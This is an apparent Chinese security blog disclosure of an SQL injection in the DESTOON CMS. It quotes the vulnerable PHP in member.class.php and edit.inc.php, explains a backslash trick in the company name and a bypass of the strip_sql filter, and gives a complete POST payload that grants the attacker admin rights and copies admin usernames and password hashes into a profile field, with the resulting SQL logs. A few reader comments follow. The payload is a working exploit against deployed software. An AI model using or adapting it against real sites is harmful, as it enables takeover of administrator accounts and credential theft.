DESTOON 最新版注入可提升为管理员权限

漏洞作者: Noxxx

由于注册的时候 公司名称没有做什么过滤 (只是 看是否有数字 如有就不通过 反之通过) 修改资料的时候又从数据库中吧 公司名称 查出来 然后进入查询流程所导致的注入 由于 admin权限的表不是独立的 所以我们可以更新 用户组 1 - 注册 判断公司名称的代码 在 member.class.php is_member() 中 124 - 130 行 [php] if($groupid > 5) { if(strlen($member['company']) < 2) return $this->_($L['member_company_null']); if(preg_match("/[0-9]+/", $member['company'])) return $this->_($L['member_company_bad']); //这里 判断是不是数字 是数字就判断结束 . if($this->company_exists($member['company'])) return $this->_($L['member_company_reg']); if(strlen($member['type']) < 2) return $this->_($L['member_type_null']); if(strlen($member['telephone']) < 6) return $this->_($L['member_telephone_null']); } [/php]   2 - 修改资料 的代码 member/edit.inc.php [php] $user = $do->get_one(); //这里先把查出来 在赋值到$post去 (防止有先变量被修改) 因为公司名称 是可以控制的 我们输入注册的时候 输入 \ 让他转义掉后面的单引号 if($submit) { if($post['password'] && $user['password'] != md5(md5($post['oldpassword']))) message($L['error_password']); if($post['payword'] && $user['payword'] != md5(md5($post['oldpayword']))) message($L['error_payword']); $post['groupid'] = $user['groupid']; $post['email'] = $user['email']; $post['passport'] = $user['passport']; $post['company'] = $user['company']; //在这里 $post['domain'] = $user['domain']; $post['icp'] = $user['icp']; $post['skin'] = $user['skin']; $post['template'] = $user['template']; $post['edittime'] = $DT_TIME; $post['bank'] = $user['bank']; $post['account'] = $user['account']; $post['validated'] = $user['validated']; $post['validator'] = $user['validator']; $post['validtime'] = $user['validtime']; $post['vemail'] = $user['vemail']; $post['vmobile'] = $user['vmobile']; $post['vtruename'] = $user['vtruename']; $post['vbank'] = $user['vbank']; $post['vcompany'] = $user['vcompany']; $post['vtrade'] = $user['vtrade']; $post['trade'] = $user['trade']; $post['support'] = $user['support']; $post['inviter'] = $user['inviter']; if($post['vmobile']) $post['mobile'] = $user['mobile']; if($post['vtruename']) $post['truename'] = $user['truename']; if($do->edit($post)) { //进入修改查询流程 我们进去看看 [/php] 3 - edit() 的代码 [php] function edit($member) { if(!$this->is_member($member)) return false; $member = $this->set_member($member); $r = $this->get_one(); $member['linkurl'] = userurl($r['username'], '', $member['domain']); $member_fields = array('company','passport','sound','email','msn','qq','ali','skype','gender','truename','mobile','department','career','groupid','areaid', 'edittime','black','bank','account','vemail','vmobile','vbank','vtruename','vcompany','vtrade','trade','support','inviter'); //会员列 $company_fields = array('company','type','areaid', 'catid','catids','business','mode','regyear','regunit','capital','size','address','postcode','telephone','fax','mail','homepage','sell','buy','introduce','thumb','keyword','linkurl','groupid','domain','icp','validated','validator','validtime','skin','template');//公司列 $member_sql = $company_sql = ''; foreach($member as $k=>$v) { if(in_array($k, $member_fields)) $member_sql .= ",$k='$v'"; //遍历数据 有符合的就连接起来 if(in_array($k, $company_fields)) $company_sql .= ",$k='$v'"; //遍历数据 有符合的就连接起来 } if($member['password']) { $password = md5(md5($member['password'])); $member_sql .= ",password='$password'"; } if($member['payword']) { $payword = md5(md5($member['payword'])); $member_sql .= ",payword='$payword'"; } $member_sql = substr($member_sql, 1); $company_sql = substr($company_sql, 1); $this->db->query("UPDATE {$this->table_member} SET $member_sql WHERE userid=$this->userid");//进入查询 $this->db->query("UPDATE {$this->table_company} SET $company_sql WHERE userid=$this->userid");//进入查询 $content_table = content_table(4, $this->userid, is_file(DT_CACHE.'/4.part'), $this->table_company_data); $this->db->query("UPDATE {$content_table} SET content='$member[content]' WHERE userid=$this->userid"); $member['userid'] = $this->userid; $member['vip'] = $r['vip']; userclean($member['username']); return true; } [/php] 4 . 构造exp 由于post是个数组 又用了 foreach 我们可以 随意控制数组的位置 而且可以 先把 post[company]=ok先赋值掉(占个位子) 后面接着我们可控字段就可以了 --- 还有个就是 全局过滤的问题 strip_sql() 原先是 /select([[:space:]\*\/\-])/i这样的 只需要 select(xxx)from(xx) 这样就能了 现在是 /select([[:space:]\*\/\-\(])/i 不过 还是能绕过过滤 select+(XXXX)from 这样既可,还有个问题就是 where这个被直接过滤掉了 "/where/i" 更新的时候,就不好办了 容易把所有用户全部更新掉.. 研究了一下 ORDER BY username=16541651564 DESC LIMIT 1 这样就可以了 .. 不过你注册的用户名必须为数字的 exp: [php] tab=3&post[truename]=1&post[sound]=1&post[type]=1111&post[areaid]=1&post[catid]=,0,&post[business]=11ssssssssssssssss&post[regyear]=2004&post[regunit]=14&post[company]=ok&post[address]=,groupid=1 ORDER BY username=16541651564 DESC LIMIT 1#&post[ali]=,groupid=1,admin=1 ,mobile=(SELECT+PW FROM(SELECT+(MAKE_SET(-1,admin,username,PASSWORD)) AS PW FROM destoon_member ORDER BY admin DESC ) a LIMIT 0,1) ORDER BY username=16541651564 DESC LIMIT 1 #&&post[telephone]=132232132&post[fax]=&post[mail]=&post[homepage]=&post[introduce]=aaaaa&submit=1 [/php] mobile=这里也可以直接 (SELECT+(MAKE_SET(-1,admin,username,PASSWORD)) LIMIT 0,1) 我这个有点麻烦..sql没学多少。。 sql日志 [php] UPDATE destoon_member SET truename='1',sound='1',areaid='1',company='xxxxx\',ali=',groupid=1,admin=1 ,mobile=(SELECT+PW FROM(SELECT+(MAKE_SET(-1,admin,username,PASSWORD)) AS PW FROM destoon_member ORDER BY admin DESC ) a LIMIT 0,1) ORDER BY username=16541651564 DESC LIMIT 1 #',groupid='6',email='1231ee23@qq.com',passport='16541651564',edittime='1405752561',bank='',account='',vemail='0',vmobile='0',vtruename='0',vbank='0',vcompany='0',vtrade='0',trade='',support='',inviter='',msn='',qq='' WHERE userid=12 [/php] [php] UPDATE destoon_company SET type='1111',areaid='1',catid=',0,',business='11ssssssssssssssss',regyear='2004',regunit='14',company='xxxxx\',address=',groupid=1 ORDER BY username=16541651564 DESC LIMIT 1#',telephone='132232132',fax='',mail='',homepage='',introduce='',groupid='6',domain='',icp='',skin='',template='',validated='0',validator='',validtime='0',postcode='',mode='',keyword='xxxxx\默认地区,11ssssssssssssssss,,,',capital='',catids=',,',linkurl='http://127.0.0.1/php/destoon_new/index.php?homepage=16541651564' WHERE userid=12 [/php] 注册的时候用burp 修改下公司 名称 :xxx\

漏洞证明:

19152848ba4c510c864dbaf737115d01efdd0473   19152928ded5507622155d8e35fe8a07f1289ff1   191531084d68688155eb50c9257d55c9de7f8cab   1915314478ca934a0a0df89c81eea1a42e1dacd6   191531593f6787bde53b1b3fd472b747aced6a59

2 条评论

  1. 不会用

    怎么利用啊 木看明白啊

    1. 0day5
      @不会用

      就是利用数字,根据update把自己的sql语句传递进去并执行

发表评论